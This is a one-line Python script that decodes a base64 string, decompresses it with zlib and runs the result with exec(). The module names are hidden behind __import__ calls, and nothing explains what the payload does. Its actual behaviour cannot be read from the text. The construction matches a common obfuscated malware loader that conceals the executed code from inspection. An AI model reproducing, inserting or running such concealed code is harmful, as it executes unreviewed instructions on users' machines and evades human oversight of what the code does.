exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrckmA211CLLVhDxICKC620RaZNxDU2TkGS1Kv53N2TxMsN78+bNh569CwlHJydI/NvokY9DhK7lMYWDTDzpGdCbC3jB2uIw2D3Q85qtUZXC1zFWsS/NoiTa8BPePt7cv26fn26vH1jWCemsBZkoJbVI0gu7D24S2hHeXHZNzbJqDDBMqIJFgk/ZPs8X0QB4esGQ6cta4mD9ICdKru4IjyKA/KAtY7v6Ban+hA1Dn+/aADZgqWIbc7RTZ//VVaEZggUkzZcLBdLNPkCMtDxBjF2bSQVZyX9IJOv4y9AfUmFh0A==')[0])))